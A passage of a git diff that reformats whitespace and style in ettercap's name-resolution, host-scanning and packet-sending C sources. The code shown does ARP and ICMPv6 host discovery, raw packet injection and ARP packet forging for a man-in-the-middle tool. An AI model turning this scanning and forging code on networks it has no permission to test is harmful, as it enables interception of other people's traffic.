AF_INET; - ip_addr_cpy((u_char*)&sa4->sin_addr.s_addr, ip); - sa_len = sizeof(struct sockaddr_in); + case AF_INET: + sa4 = (struct sockaddr_in *)&ss; + sa4->sin_family = AF_INET; + ip_addr_cpy((u_char *)&sa4->sin_addr.s_addr, ip); + sa_len = sizeof(struct sockaddr_in); break; - case AF_INET6: - sa6 = (struct sockaddr_in6 *)&ss; - sa6->sin6_family = AF_INET6; - ip_addr_cpy((u_char*)&sa6->sin6_addr.s6_addr, ip); - sa_len = sizeof(struct sockaddr_in6); + case AF_INET6: + sa6 = (struct sockaddr_in6 *)&ss; + sa6->sin6_family = AF_INET6; + ip_addr_cpy((u_char *)&sa6->sin6_addr.s6_addr, ip); + sa_len = sizeof(struct sockaddr_in6); break; } /* resolve */ - return getnameinfo((struct sockaddr *)&ss, sa_len, - hostname, MAX_HOSTNAME_LEN, NULL, 0, NI_NAMEREQD); - + return getnameinfo((struct sockaddr *)&ss, sa_len, + hostname, MAX_HOSTNAME_LEN, NULL, 0, NI_NAMEREQD); } /* @@ -325,19 +324,19 @@ static int resolv_cache_search(struct ip_addr *ip, char *name) /* calculate the hash */ h = fnv_32(ip->addr, ntohs(ip->addr_len)) & TABMASK; - + SLIST_FOREACH(r, &resolv_cache_head[h], next) { if (!ip_addr_cmp(&r->ip, ip)) { /* found in the cache */ - - DEBUG_MSG("resolv_cache_search: found: %s -> %s", - ip_addr_ntoa(ip, tmp), r->hostname); - + + DEBUG_MSG("resolv_cache_search: found: %s -> %s", + ip_addr_ntoa(ip, tmp), r->hostname); + strlcpy(name, r->hostname, MAX_HOSTNAME_LEN - 1); return E_SUCCESS; } } - + /* cache miss */ return -E_NOTFOUND; } @@ -353,7 +352,7 @@ void resolv_cache_insert(struct ip_addr *ip, char *name) pthread_t pid; char tmp[MAX_ASCII_ADDR_LEN]; - /* + /* * make sure this function is not called by the main thread. * this is important because parallel writing of the cache * can lead to segmentation faults due to race conditions @@ -367,7 +366,7 @@ void resolv_cache_insert(struct ip_addr *ip, char *name) /* calculate the hash */ h = fnv_32(ip->addr, ntohs(ip->addr_len)) & TABMASK; - /* + /* * search if it is already in the cache. * this will pervent passive insertion to overwrite * previous cached results @@ -376,28 +375,27 @@ void resolv_cache_insert(struct ip_addr *ip, char *name) /* found in the cache skip it */ if (!ip_addr_cmp(&r->ip, ip)) { DEBUG_MSG("resolv_cache_insert: %s already in cache - skipping", - ip_addr_ntoa(ip, tmp)); - return; + ip_addr_ntoa(ip, tmp)); + return; } } DEBUG_MSG("resolv_cache_insert: no entry found for %s", - ip_addr_ntoa(ip, tmp)); + ip_addr_ntoa(ip, tmp)); SAFE_CALLOC(r, 1, sizeof(struct resolv_entry)); memcpy(&r->ip, ip, sizeof(struct ip_addr)); r->hostname = strdup(name); - + SLIST_INSERT_HEAD(&(resolv_cache_head[h]), r, next); DEBUG_MSG("resolv_cache_insert: inserted %s --> %s", - tmp, name); - + tmp, name); } -/* +/* * wrapper function for the passive name recognition - * ensuring syncronization with active name resolving + * ensuring syncronization with active name resolving * threads */ void resolv_cache_insert_passive(struct ip_addr *ip, char *name) @@ -441,7 +439,6 @@ int resolv_queue_push(struct ip_addr *ip) DEBUG_MSG("resolv_queue_push(): %s queued", ip_addr_ntoa(ip, tmp)); return E_SUCCESS; - } /* @@ -465,7 +462,7 @@ int resolv_queue_pop(struct ip_addr *ip) SAFE_FREE(entry); DEBUG_MSG("resolv_queue_pop(): %s returned and removed from queue", - ip_addr_ntoa(ip, tmp)); + ip_addr_ntoa(ip, tmp)); return E_SUCCESS; } @@ -473,4 +470,3 @@ int resolv_queue_pop(struct ip_addr *ip) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_scan.c b/src/ec_scan.c index f4a77f586..36bb286dd 100644 --- a/src/ec_scan.c +++ b/src/ec_scan.c @@ -1,23 +1,23 @@ /* - ettercap -- initial scan to build the hosts list - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- initial scan to build the hosts list + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -43,24 +43,25 @@ static pthread_mutex_t scan_mutex = PTHREAD_MUTEX_INITIALIZER; * They are split because the lock is used in different functions * of different types (void/void*). */ -#define SCAN_LOCK do{ if (pthread_mutex_trylock(&scan_mutex)) { \ - ec_thread_exit(); return NULL;} \ - } while(0) -#define SCAN_UNLOCK do{ pthread_mutex_unlock(&scan_mutex); } while(0) +#define SCAN_LOCK \ + do { if (pthread_mutex_trylock(&scan_mutex)) { \ + ec_thread_exit(); return NULL; } \ + } while (0) +#define SCAN_UNLOCK do { pthread_mutex_unlock(&scan_mutex); } while (0) -#define SCANUI_LOCK do{ if (pthread_mutex_trylock(&scan_mutex)) { \ - return; } \ - } while (0) +#define SCANUI_LOCK \ + do { if (pthread_mutex_trylock(&scan_mutex)) { \ + return; } \ + } while (0) #define SCANUI_UNLOCK SCAN_UNLOCK -#define EC_CHECK_LIBNET_VERSION(major,minor) \ - (LIBNET_VERSION_MAJOR > (major) || \ +#define EC_CHECK_LIBNET_VERSION(major, minor) \ + (LIBNET_VERSION_MAJOR > (major) || \ (LIBNET_VERSION_MAJOR == (major) && LIBNET_VERSION_MINOR >= (minor))) - /* used to create the random list */ -static LIST_HEAD (, ip_list) ip_list_head; +static LIST_HEAD(, ip_list) ip_list_head; static struct ip_list **rand_array; /* protos */ @@ -112,7 +113,7 @@ void build_hosts_list(void) scan_load_hosts(GBL_OPTIONS->hostsfile); LIST_FOREACH(hl, &GBL_HOSTLIST, next) - nhosts++; + nhosts++; INSTANT_USER_MSG("%d hosts added to the hosts list...\n", nhosts); @@ -140,7 +141,7 @@ void build_hosts_list(void) if (GBL_UI->type == UI_TEXT || GBL_UI->type == UI_DAEMONIZE) /* in text mode and daemonized call the function directly */ scan_thread(NULL); - else + else /* do the scan in a separate thread */ ec_thread_new("scan", "scanning thread", &scan_thread, NULL); } @@ -156,7 +157,7 @@ static EC_THREAD_FUNC(scan_thread) int threadize = 1; /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; DEBUG_MSG("scan_thread"); @@ -202,11 +203,11 @@ static EC_THREAD_FUNC(scan_thread) * * FIXME: ipv4 host gets scanned twice if in target list */ - if(GBL_TARGET1->all_ip || GBL_TARGET2->all_ip) { + if (GBL_TARGET1->all_ip || GBL_TARGET2->all_ip) { scan_netmask(); #ifdef WITH_IPV6 - if (GBL_OPTIONS->ip6scan) - scan_ip6_onlink(); + if (GBL_OPTIONS->ip6scan) + scan_ip6_onlink(); #endif } scan_targets(); @@ -260,7 +261,7 @@ static EC_THREAD_FUNC(scan_thread) if (!GBL_OPTIONS->load_hosts && GBL_OPTIONS->resolve) { char title[50]; - snprintf(title, sizeof(title)-1, "Resolving %d hostnames...", nhosts); + snprintf(title, sizeof(title) - 1, "Resolving %d hostnames...", nhosts); INSTANT_USER_MSG("%s\n", title); @@ -292,7 +293,6 @@ static EC_THREAD_FUNC(scan_thread) return NULL; } - /* * delete the hosts list */ @@ -312,7 +312,7 @@ void del_hosts_list(void) } /* - * receives the ARP and ICMPv6 ND packets + * receives the ARP and ICMPv6 ND packets */ static void get_response(struct packet_object *po) { @@ -331,37 +331,35 @@ static void get_response(struct packet_object *po) /* search in target 1 */ LIST_FOREACH(t, &GBL_TARGET1->ips, next) - if (!ip_addr_cmp(&t->ip, &po->L3.src)) { - add_host(&po->L3.src, po->L2.src, NULL); - return; - } + if (!ip_addr_cmp(&t->ip, &po->L3.src)) { + add_host(&po->L3.src, po->L2.src, NULL); + return; + } /* search in target 2 */ LIST_FOREACH(t, &GBL_TARGET2->ips, next) - if (!ip_addr_cmp(&t->ip, &po->L3.src)) { - add_host(&po->L3.src, po->L2.src, NULL); - return; - } + if (!ip_addr_cmp(&t->ip, &po->L3.src)) { + add_host(&po->L3.src, po->L2.src, NULL); + return; + } #ifdef WITH_IPV6 /* same for IPv6 */ /* search in target 1 */ LIST_FOREACH(t, &GBL_TARGET1->ip6, next) - if (!ip_addr_cmp(&t->ip, &po->L3.src)) { - return; - } + if (!ip_addr_cmp(&t->ip, &po->L3.src)) { + return; + } /* search in target 2 */ LIST_FOREACH(t, &GBL_TARGET2->ip6, next) - if (!ip_addr_cmp(&t->ip, &po->L3.src)) { - add_host(&po->L3.src, po->L2.src, NULL); - return; - } + if (!ip_addr_cmp(&t->ip, &po->L3.src)) { + add_host(&po->L3.src, po->L2.src, NULL); + return; + } #endif - } - /* * scan the netmask to find all hosts */ @@ -395,10 +393,9 @@ static void scan_netmask(void) /* add to the list randomly */ random_list(e, i); - } - snprintf(title, sizeof(title)-1, "Scanning the whole netmask for %d hosts...", nhosts); + snprintf(title, sizeof(title) - 1, "Scanning the whole netmask for %d hosts...", nhosts); INSTANT_USER_MSG("%s\n", title); i = 1; @@ -431,7 +428,6 @@ static void scan_netmask(void) /* wait for a delay */ ec_usleep(MILLI2MICRO(GBL_CONF->arp_storm_delay)); - } /* delete the temporary list */ @@ -443,7 +439,6 @@ static void scan_netmask(void) DEBUG_MSG("scan_netmask: Complete"); } - #ifdef WITH_IPV6 /* * probe active IPv6 hosts @@ -457,7 +452,7 @@ static void scan_ip6_onlink(void) ip_addr_init(&an, AF_INET6, (u_char *)IP6_ALL_NODES); - snprintf(title, sizeof(title)-1, "Probing %d seconds for active IPv6 nodes ...", GBL_CONF->icmp6_probe_delay); + snprintf(title, sizeof(title) - 1, "Probing %d seconds for active IPv6 nodes ...", GBL_CONF->icmp6_probe_delay); INSTANT_USER_MSG("%s\n", title); DEBUG_MSG("scan_ip6_onlink: "); @@ -465,24 +460,24 @@ static void scan_ip6_onlink(void) /* go through the list of IPv6 addresses on the selected interface */ LIST_FOREACH(e, &GBL_IFACE->ip6_list, next) { /* - * ping to all-nodes from all ip addresses to get responses from all + * ping to all-nodes from all ip addresses to get responses from all * IPv6 networks (global, link-local, ...) */ send_L2_icmp6_echo(&e->ip, &an, LLA_IP6_ALLNODES_MULTICAST); -#if EC_CHECK_LIBNET_VERSION(1,2) +#if EC_CHECK_LIBNET_VERSION(1, 2) /* - * sending this special icmp probe motivates hosts to respond with a icmp + * sending this special icmp probe motivates hosts to respond with a icmp * error message even if they are configured not to respond to icmp requests. * since libnet < 1.2 has a bug when sending IPv6 option headers * we can only use this type of probe if we have at least libnet 1.2 or above */ send_L2_icmp6_echo_opt(&e->ip, &an, - IP6_DSTOPT_UNKN, sizeof(IP6_DSTOPT_UNKN), LLA_IP6_ALLNODES_MULTICAST); + IP6_DSTOPT_UNKN, sizeof(IP6_DSTOPT_UNKN), LLA_IP6_ALLNODES_MULTICAST); #endif } - for (i=0; i<=GBL_CONF->icmp6_probe_delay * 1000; i++) { + for (i = 0; i <= GBL_CONF->icmp6_probe_delay * 1000; i++) { /* update the progress bar */ ret = ui_progress(title, i, GBL_CONF->icmp6_probe_delay * 1000); @@ -503,10 +498,9 @@ static void scan_ip6_onlink(void) /* wait for a delay */ ec_usleep(MILLI2MICRO(1)); // 1ms } - } -#endif +#endif /* * scan only the target hosts @@ -560,10 +554,10 @@ static void scan_targets(void) /* search if it is already in the list */ LIST_FOREACH(m, &ip_list_head, next) - if (!ip_addr_cmp(&m->ip, &i->ip)) { - found = 1; - break; - } + if (!ip_addr_cmp(&m->ip, &i->ip)) { + found = 1; + break; + } /* add it */ if (!found) { @@ -581,10 +575,10 @@ static void scan_targets(void) found = 0; LIST_FOREACH(m, &ip_list_head, next) - if (!ip_addr_cmp(&m->ip, &i->ip)) { - found = 1; - break; - } + if (!ip_addr_cmp(&m->ip, &i->ip)) { + found = 1; + break; + } if (!found) { SAFE_CALLOC(e, 1, sizeof(struct ip_list)); @@ -597,30 +591,29 @@ static void scan_targets(void) } #endif - DEBUG_MSG("scan_targets: %d hosts to be scanned", nhosts); /* don't scan if there are no hosts */ if (nhosts == 0) return; - snprintf(title, sizeof(title)-1, "Scanning for merged targets (%d hosts)...", nhosts); + snprintf(title, sizeof(title) - 1, "Scanning for merged targets (%d hosts)...", nhosts); INSTANT_USER_MSG("%s\n\n", title); /* and now scan the LAN */ LIST_FOREACH(e, &ip_list_head, next) { /* send the arp request */ - switch(ntohs(e->ip.addr_type)) { - case AF_INET: - send_arp(ARPOP_REQUEST, &GBL_IFACE->ip, GBL_IFACE->mac, &e->ip, MEDIA_BROADCAST); - break; + switch (ntohs(e->ip.addr_type)) { + case AF_INET: + send_arp(ARPOP_REQUEST, &GBL_IFACE->ip, GBL_IFACE->mac, &e->ip, MEDIA_BROADCAST); + break; #ifdef WITH_IPV6 - case AF_INET6: - if (ip_addr_is_local(&e->ip, &ip) == E_SUCCESS) { - ip_addr_init_sol(&sn, &e->ip, tmac); - send_L2_icmp6_nsol(&ip, &sn, &e->ip, GBL_IFACE->mac, tmac); - } - break; + case AF_INET6: + if (ip_addr_is_local(&e->ip, &ip) == E_SUCCESS) { + ip_addr_init_sol(&sn, &e->ip, tmac); + send_L2_icmp6_nsol(&ip, &sn, &e->ip, GBL_IFACE->mac, tmac); + } + break; #endif } @@ -652,7 +645,6 @@ static void scan_targets(void) /* wait for a delay */ ec_usleep(MILLI2MICRO(GBL_CONF->arp_storm_delay)); - } /* delete the temporary list */ @@ -660,7 +652,6 @@ static void scan_targets(void) LIST_REMOVE(e, next); SAFE_FREE(e); } - } /* @@ -688,8 +679,8 @@ int scan_load_hosts(char *filename) /* read the file */ for (nhosts = 0; !feof(hf); nhosts++) { - if (fscanf(hf, "%"EC_TOSTRING(MAX_ASCII_ADDR_LEN)"s %"EC_TOSTRING(ETH_ASCII_ADDR_LEN)"s %"EC_TOSTRING(MAX_HOSTNAME_LEN)"s\n", ip, mac, name) != 3 || - *ip == '#' || *mac == '#' || *name == '#') + if (fscanf(hf, "%"EC_TOSTRING (MAX_ASCII_ADDR_LEN)"s %"EC_TOSTRING (ETH_ASCII_ADDR_LEN)"s %"EC_TOSTRING (MAX_HOSTNAME_LEN)"s\n", ip, mac, name) != 3 || + *ip == '#' || *mac == '#' || *name == '#') continue; /* convert to network */ @@ -702,8 +693,8 @@ int scan_load_hosts(char *filename) /* neither IPv4 nor IPv6 - inform user and skip line*/ USER_MSG("Bad IP address while parsing line %d", nhosts + 1); continue; - //del_hosts_list(); - //SEMIFATAL_ERROR("Bad parsing on line %d", nhosts + 1); + // del_hosts_list(); + // SEMIFATAL_ERROR("Bad parsing on line %d", nhosts + 1); } /* wipe the null hostname */ @@ -721,7 +712,6 @@ int scan_load_hosts(char *filename) return E_SUCCESS; } - /* * save the host list to this file */ @@ -758,7 +748,6 @@ int scan_save_hosts(char *filename) return E_SUCCESS; } - /* * add an host to the list * order the list while inserting the elements @@ -768,7 +757,7 @@ void add_host(struct ip_addr *ip, u_int8 mac[MEDIA_ADDR_LEN], char *name) struct hosts_list *hl, *h; /* don't add to hostlist if the found IP is ours */ - if (ip_addr_is_ours(ip) == E_FOUND) + if (ip_addr_is_ours(ip) == E_FOUND) return; /* don't add undefined address */ @@ -792,7 +781,7 @@ void add_host(struct ip_addr *ip, u_int8 mac[MEDIA_ADDR_LEN], char *name) SAFE_FREE(h->hostname); SAFE_FREE(h); return; - } else if (ip_addr_cmp(&hl->ip, &h->ip) < 0 && LIST_NEXT(hl, next) != LIST_END(&GBL_HOSTLIST) ) + } else if (ip_addr_cmp(&hl->ip, &h->ip) < 0 && LIST_NEXT(hl, next) != LIST_END(&GBL_HOSTLIST)) continue; else if (ip_addr_cmp(&h->ip, &hl->ip) > 0) { LIST_INSERT_AFTER(hl, h, next); @@ -801,16 +790,13 @@ void add_host(struct ip_addr *ip, u_int8 mac[MEDIA_ADDR_LEN], char *name) LIST_INSERT_BEFORE(hl, h, next); break; } - } /* the first element */ if (LIST_FIRST(&GBL_HOSTLIST) == LIST_END(&GBL_HOSTLIST)) LIST_INSERT_HEAD(&GBL_HOSTLIST, h, next); - } - /* * insert the element in the list randomly. * 'max' is the number of elements in the list @@ -824,7 +810,7 @@ static void random_list(struct ip_list *e, int max) /* calculate the position in the list. */ rnd = rand() % ((max == 1) ? max : max - 1); - //rnd = 1+(int) ((float)max*rand()/(RAND_MAX+1.0)); + // rnd = 1+(int) ((float)max*rand()/(RAND_MAX+1.0)); /* allocate the array used to keep track of the pointer * to the elements in the list. this array speed up the @@ -846,7 +832,6 @@ static void random_list(struct ip_list *e, int max) LIST_INSERT_AFTER(rand_array[rnd - 1], e, next); /* and add the pointer in the array */ rand_array[max - 1] = e; - } void __init hook_init(void) @@ -861,13 +846,13 @@ void __init hook_init(void) */ static void hosts_list_hook(struct packet_object *po) { - switch(ip_addr_is_ours(&po->L3.src)) { - case E_FOUND: - case E_BRIDGE: - return; + switch (ip_addr_is_ours(&po->L3.src)) { + case E_FOUND: + case E_BRIDGE: + return; } - if(ip_addr_is_local(&po->L3.src, NULL) == E_SUCCESS) { + if (ip_addr_is_local(&po->L3.src, NULL) == E_SUCCESS) { add_host(&po->L3.src, po->L2.src, NULL); } @@ -877,4 +862,3 @@ static void hosts_list_hook(struct packet_object *po) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_send.c b/src/ec_send.c index 75d768f19..e5f4d2d88 100644 --- a/src/ec_send.c +++ b/src/ec_send.c @@ -1,28 +1,28 @@ /* - ettercap -- send the the wire functions - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- send the the wire functions + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #if defined(OS_DARWIN) || defined(OS_BSD) - #include +#include #endif #include @@ -36,28 +36,26 @@ #define PCAP_TIMEOUT 10 - /* globals */ -u_int8 MEDIA_BROADCAST[MEDIA_ADDR_LEN] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; -u_int8 ARP_BROADCAST[MEDIA_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +u_int8 MEDIA_BROADCAST[MEDIA_ADDR_LEN] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; +u_int8 ARP_BROADCAST[MEDIA_ADDR_LEN] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; -static SLIST_HEAD (, build_entry) builders_table; +static SLIST_HEAD(, build_entry) builders_table; struct build_entry { u_int8 dlt; FUNC_BUILDER_PTR(builder); - SLIST_ENTRY (build_entry) next; + SLIST_ENTRY(build_entry) next; }; /* protos */ -libnet_ptag_t ec_build_link_layer(u_int8 dlt, u_int8 *dst, u_int16 proto, libnet_t* l); +libnet_ptag_t ec_build_link_layer(u_int8 dlt, u_int8 *dst, u_int16 proto, libnet_t *l); static pthread_mutex_t send_mutex = PTHREAD_MUTEX_INITIALIZER; -#define SEND_LOCK do{ pthread_mutex_lock(&send_mutex); } while(0) -#define SEND_UNLOCK do{ pthread_mutex_unlock(&send_mutex); } while(0) - +#define SEND_LOCK do { pthread_mutex_lock(&send_mutex); } while (0) +#define SEND_UNLOCK do { pthread_mutex_unlock(&send_mutex); } while (0) /*******************************************/ @@ -72,44 +70,42 @@ int send_to_L3(struct packet_object *po) char tmp[MAX_ASCII_ADDR_LEN]; int c; - switch(ntohs(po->L3.src.addr_type)) { - case AF_INET: l = GBL_LNET->lnet_IP4; - break; + switch (ntohs(po->L3.src.addr_type)) { + case AF_INET: l = GBL_LNET->lnet_IP4; + break; #ifdef WITH_IPV6 - case AF_INET6: l = GBL_LNET->lnet_IP6; - break; + case AF_INET6: l = GBL_LNET->lnet_IP6; + break; #endif - default: l = NULL; - break; + default: l = NULL; + break; } /* Do not send the packet if corresponding * libnet handler is not initialized */ - if(l == NULL) + if (l == NULL) return -E_NOTHANDLED; - + SEND_LOCK; - t = libnet_build_data(po->fwd_packet, po->fwd_len, l, 0); ON_ERROR(t, -1, "libnet_build_data: %s", libnet_geterror(l)); c = libnet_write(l); - //ON_ERROR(c, -1, "libnet_write %d (%d): %s", po->fwd_len, c, libnet_geterror(l)); + // ON_ERROR(c, -1, "libnet_write %d (%d): %s", po->fwd_len, c, libnet_geterror(l)); if (c == -1) - USER_MSG("SEND L3 ERROR: %d byte packet (%04x:%02x) destined to %s was not forwarded (%s)\n", - po->fwd_len, ntohs(po->L3.proto), po->L4.proto, ip_addr_ntoa(&po->L3.dst, tmp), - libnet_geterror(l)); - + USER_MSG("SEND L3 ERROR: %d byte packet (%04x:%02x) destined to %s was not forwarded (%s)\n", + po->fwd_len, ntohs(po->L3.proto), po->L4.proto, ip_addr_ntoa(&po->L3.dst, tmp), + libnet_geterror(l)); + /* clear the pblock */ libnet_clear_packet(l); - + SEND_UNLOCK; - + return c; } - /* * send the packet at layer 2 * this can be used to send ARP messages @@ -117,7 +113,7 @@ int send_to_L3(struct packet_object *po) int send_to_L2(struct packet_object *po) { - return send_to_iface(po, GBL_IFACE); + return send_to_iface(po, GBL_IFACE); } /* @@ -135,26 +131,26 @@ int send_to_iface(struct packet_object *po, struct iface_env *iface) int c; libnet_t *l; - if(iface->unoffensive) + if (iface->unoffensive) return -E_INVALID; /* if not lnet warn the developer ;) */ BUG_IF(iface->lnet == NULL); - l = iface->lnet; + l = iface->lnet; SEND_LOCK; t = libnet_build_data(po->packet, po->len, l, 0); ON_ERROR(t, -1, "libnet_build_data: %s", libnet_geterror(l)); - + c = libnet_write(l); ON_ERROR(c, -1, "libnet_write %d (%d): %s", po->len, c, libnet_geterror(l)); - + /* clear the pblock */ libnet_clear_packet(l); - + SEND_UNLOCK; - + return c; } @@ -168,67 +164,66 @@ void capture_only_incoming(pcap_t *p, libnet_t *l) { (void)p; (void)l; -#ifdef OS_LINUX +#ifdef OS_LINUX /* * a dirty hack to use the same socket for pcap and libnet. * both the structures contains a "int fd" field representing the socket. * we can close the fd opened by libnet and use the one already in use by pcap. - */ - + */ + DEBUG_MSG("hack_pcap_lnet (before) pcap %d | lnet %d", pcap_fileno(p), l->fd); /* needed to avoid double execution (for portstealing) */ if (pcap_fileno(p) == l->fd) return; - + /* close the lnet socket */ close(libnet_getfd(l)); /* use the socket opened by pcap */ l->fd = pcap_fileno(p); - + DEBUG_MSG("hack_pcap_lnet (after) pcap %d | lnet %d", pcap_fileno(p), l->fd); #endif #ifdef OS_BSD /* - * under BSD we cannot hack the fd as in linux... + * under BSD we cannot hack the fd as in linux... * pcap opens the /dev/bpf in O_RDONLY and lnet needs O_RDWR - * - * so (if supported: only FreeBSD) we can set the BIOCSSEESENT to 0 to + * + * so (if supported: only FreeBSD) we can set the BIOCSSEESENT to 0 to * see only incoming packets * but this is unconfortable, because we will not able to sniff ourself. */ - #ifdef OS_BSD_FREE - int val = 0; - - DEBUG_MSG("hack_pcap_lnet: setting BIOCSSEESENT on pcap handler"); - - /* set it to 0 to capture only incoming traffic */ - ioctl(pcap_fileno(p), BIOCSSEESENT, &val); - #else - DEBUG_MSG("hack_pcap_lnet: not applicable on this OS"); - #endif +#ifdef OS_BSD_FREE + int val = 0; + + DEBUG_MSG("hack_pcap_lnet: setting BIOCSSEESENT on pcap handler"); + + /* set it to 0 to capture only incoming traffic */ + ioctl(pcap_fileno(p), BIOCSSEESENT, &val); +#else + DEBUG_MSG("hack_pcap_lnet: not applicable on this OS"); #endif - +#endif + #ifdef OS_DARWIN int val = 0; - + DEBUG_MSG("hack_pcap_lnet: setting BIOCSSEESENT on pcap handler"); - + /* not all darwin versions support BIOCSSEESENT */ - #ifdef BIOCSSEESENT +#ifdef BIOCSSEESENT ioctl(pcap_fileno(p), BIOCSSEESENT, &val); - #endif +#endif #endif #ifdef OS_SOLARIS DEBUG_MSG("hack_pcap_lnet: not applicable on this OS"); #endif - + #ifdef OS_CYGWIN DEBUG_MSG("hack_pcap_lnet: not applicable on this OS"); #endif - } /* @@ -240,25 +235,24 @@ void add_builder(u_int8 dlt, FUNC_BUILDER_PTR(builder)) struct build_entry *e; SAFE_CALLOC(e, 1, sizeof(struct build_entry)); - + e->dlt = dlt; e->builder = builder; - SLIST_INSERT_HEAD(&builders_table, e, next); - + SLIST_INSERT_HEAD(&builders_table, e, next); + return; - } /* * build the header calling the registered * function for the current media */ -libnet_ptag_t ec_build_link_layer(u_int8 dlt, u_int8 *dst, u_int16 proto, libnet_t* l) +libnet_ptag_t ec_build_link_layer(u_int8 dlt, u_int8 *dst, u_int16 proto, libnet_t *l) { struct build_entry *e; - SLIST_FOREACH (e, &builders_table, next) { + SLIST_FOREACH(e, &builders_table, next) { if (e->dlt == dlt) { return e->builder(dst, proto, l); } @@ -268,7 +262,6 @@ libnet_ptag_t ec_build_link_layer(u_int8 dlt, u_int8 *dst, u_int16 proto, libnet return -1; } - /* * helper function to send out an ARP packet */ @@ -287,42 +280,42 @@ int send_arp(u_char type, struct ip_addr *sip, u_int8 *smac, struct ip_addr *tip /* ARP uses 00:00:00:00:00:00 broadcast */ if (type == ARPOP_REQUEST && tmac == MEDIA_BROADCAST) tmac = ARP_BROADCAST; - + /* create the ARP header */ t = libnet_build_arp( - ARPHRD_ETHER, /* hardware addr */ - ETHERTYPE_IP, /* protocol addr */ - MEDIA_ADDR_LEN, /* hardware addr size */ - IP_ADDR_LEN, /* protocol addr size */ - type, /* operation type */ - smac, /* sender hardware addr */ - (u_char *)&(sip->addr), /* sender protocol addr */ - tmac, /* target hardware addr */ - (u_char *)&(tip->addr), /* target protocol addr */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); /* pblock id */ + ARPHRD_ETHER, /* hardware addr */ + ETHERTYPE_IP, /* protocol addr */ + MEDIA_ADDR_LEN, /* hardware addr size */ + IP_ADDR_LEN, /* protocol addr size */ + type, /* operation type */ + smac, /* sender hardware addr */ + (u_char *)&(sip->addr), /* sender protocol addr */ + tmac, /* target hardware addr */ + (u_char *)&(tip->addr), /* target protocol addr */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* pblock id */ ON_ERROR(t, -1, "libnet_build_arp: %s", libnet_geterror(l)); - + /* MEDIA uses ff:ff:ff:ff:ff:ff broadcast */ if (type == ARPOP_REQUEST && tmac == ARP_BROADCAST) tmac = MEDIA_BROADCAST; - + /* add the media header */ t = ec_build_link_layer(GBL_PCAP->dlt, tmac, ETHERTYPE_ARP, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); - + /* send the packet */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); - + /* clear the pblock */ libnet_clear_packet(l); SEND_UNLOCK; - + return c; } @@ -340,43 +333,42 @@ int send_L3_icmp_unreach(struct packet_object *po) l = GBL_LNET->lnet_IP4; SEND_LOCK; - /* create the ICMP header */ t = libnet_build_icmpv4_echo( - 3, /* type */ - 3, /* code */ - 0, /* checksum */ - htons(EC_MAGIC_16), /* identification number */ - htons(EC_MAGIC_16), /* sequence number */ - po->L3.header, /* payload */ - po->L3.len + 8, /* payload size */ - l, /* libnet handle */ - 0); /* pblock id */ + 3, /* type */ + 3, /* code */ + 0, /* checksum */ + htons(EC_MAGIC_16), /* identification number */ + htons(EC_MAGIC_16), /* sequence number */ + po->L3.header, /* payload */ + po->L3.len + 8, /* payload size */ + l, /* libnet handle */ + 0); /* pblock id */ ON_ERROR(t, -1, "libnet_build_icmpv4_echo: %s", libnet_geterror(l)); - + /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); - + /* create the IP header */ t = libnet_build_ipv4( - LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H, /* length */ - 0, /* TOS */ - htons(EC_MAGIC_16), /* IP ID */ - 0, /* IP Frag */ - 64, /* TTL */ - IPPROTO_ICMP, /* protocol */ - 0, /* checksum */ - *po->L3.dst.addr32, /* source IP */ - *po->L3.src.addr32, /* destination IP */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); + LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H, /* length */ + 0, /* TOS */ + htons(EC_MAGIC_16), /* IP ID 